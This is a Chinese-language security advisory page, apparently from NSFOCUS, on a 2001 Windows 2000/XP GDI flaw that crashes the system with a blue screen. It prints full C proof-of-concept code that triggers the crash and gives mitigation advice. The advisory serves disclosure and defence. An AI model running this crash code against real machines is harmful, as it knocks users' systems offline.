首页 -> 安全研究
安全研究
安全漏洞
Microsoft Windows 2000/XP GDI 拒绝服务漏洞
发布日期:2001-10-30
更新日期:2001-11-02
受影响系统:
描述:
Microsoft Windows 2000 SP2
- Microsoft Windows 2000
Microsoft Windows 2000 SP1
- Microsoft Windows 2000
Microsoft Windows 2000
Microsoft Windows XP
BUGTRAQ ID: 3481
Windows Graphics Device Interface (GDI)是一套应用程序接口,用于显示图形输
出。但是它存在一个安全问题,可能导致系统拒绝服务。
这是由于GDI无法正确处理畸形或无效的参数和标志位造成的,系统表现为蓝屏,只有
重新启动才能恢复正常功能。
<*来源:PeterB (peter@INKVINE.FLUFF.ORG)
链接:http://www.ntbugtraq.com/default.asp?pid=36&sid=1&A2=ind0110&L=ntbugtraq&F=P&S=&P=8630
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
PeterB (peter@INKVINE.FLUFF.ORG)提供了如下测试代码:
#include <windows.h>
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch(message)
{
case WM_NCCREATE:
{
ShowWindow(hwnd, SW_SHOW);
}
return TRUE;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR
szCmdLine, int iCmdShow)
{
HWINSTA ws = CreateWindowStation(NULL, 0, WINSTA_CREATEDESKTOP |
GENERIC_ALL, NULL);
SetProcessWindowStation(ws);
HDESK dt = CreateDesktop("TEST", 0, 0, 0, DESKTOP_CREATEWINDOW |
GENERIC_ALL | DESKTOP_CREATEMENU | DESKTOP_SWITCHDESKTOP |
DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS, NULL); // no idea what access I
actually need, I think this is just about everything
SetThreadDesktop(dt);
WNDCLASS wndclass = {0};
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = WndProc;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon(NULL, IDI_APPLICATION); // default icon
wndclass.hCursor = LoadCursor(NULL, IDC_ARROW); // default cursor.
One or other (or both?) of these seem to be necessary.
wndclass.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = TEXT("Crash");
RegisterClass(&wndclass);
HWND hwnd = CreateWindowEx(WS_EX_TOOLWINDOW, TEXT("Crash"),
TEXT("Crash"), WS_POPUP, 300, 300, 300, 445, NULL, NULL, hInstance, NULL);
// NEVER GETS HERE.
ShowWindow(hwnd, iCmdShow);
UpdateWindow(hwnd);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 禁止不可信用户登录您的系统
厂商补丁:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商
的主页以获取最新版本:
http://www.microsoft.com/
浏览次数:4029
严重程度:0(网友投票)
绿盟科技给您安全的保障